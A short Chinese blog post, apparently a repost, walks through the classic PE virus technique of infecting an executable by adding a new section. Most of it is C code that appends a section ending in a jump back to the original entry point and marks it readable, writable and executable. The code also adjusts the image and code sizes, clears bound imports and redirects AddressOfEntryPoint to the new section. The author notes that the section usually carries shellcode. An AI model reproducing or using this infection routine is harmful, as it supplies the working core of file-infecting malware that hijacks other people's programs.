AddSection
来源:互联网 发布:现在在淘宝开店晚吗 编辑:程序博客网 时间:2024/06/10 04:23
PE感染,古老的话题!好久不玩感染,连最基本的添加新节的方式都迷糊了,遂巩固基本功,重新捡起来学习.
PE的那堆结构应该再熟悉不过了,略过.总结几个重点:
----------------------------------------------------------------------------
NewSection.VirtualAddress ┐
NewSection.Misc.VirtualSize ┘定位 内存中 下个节的地址
NewSection.SizeOfRawData ┐
NewSection.PointerToRawData ┘定位 磁盘中 下个节的地址
OptionalHeader.SizeOfImage - 内存中整个PE的大小
OptionalHeader.SizeOfCode - 磁盘中整个代码块的大小
----------------------------------------------------------------------------
就下面几步,别人问你最基本的病毒感染方式时,你可别答漏了哦:
──────
︳ sudami ︳
︳08/08/28 ︳
──────
1.增加新节 - 定位到文件的最后,写入新节的内容length,末尾要增加5字节数据"jmp OEP"
BYTE jmp = 0xE9;
OEP = OEP-(NewSection.VirtualAddress+length)-5;
fwrite(&jmp, sizeof(jmp), 1, newfile);
fwrite(&OEP, sizeof(OEP), 1, newfile);
计算length在文件中的对齐大小,剩余部分填0
for(i=0;i<alig(length,FILE_ALIG)-length-5;i++) {
fputc('/0',newfile);
}
2.增加新节表 - 有5处要填写的地方:
节表名、该节的磁盘偏移量、该节的磁盘大小、该节对齐后的内存大小、该节属性
strcpy((char*)NewSection.Name,".sudami");
NewSection.PointerToRawData = LastSectionTable.PointerToRawData+LastSectionTable.SizeOfRawData;
NewSection.SizeOfRawData = alig(length,FILE_ALIG);
NewSection.Misc.VirtualSize = length;
NewSection.Characteristics = 0xE0000020; //新区块可读可写可执行
3.最后该修正可选头中的几个参数值了:
int nNewImageSize = NThea.OptionalHeader.SizeOfImage + alig(length,SECTION_ALIG);
int nNewSizeofCode = NThea.OptionalHeader.SizeOfCode + alig(length,FILE_ALIG);
// 绑定输入,还是修改下比较好
NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;
NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;
NThea.OptionalHeader.SizeOfCode = nNewSizeofCode; // 修正磁盘中整个代码块的大小
NThea.OptionalHeader.SizeOfImage = nNewImageSize; // 修正内存中整个PE的大小
NThea.FileHeader.NumberOfSections = nOldSectionNo+1; // 节表数加1
NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress; // 修改OEP
OK,新节的内容多数时候是shellcode吧,一般很简单的.嘿嘿...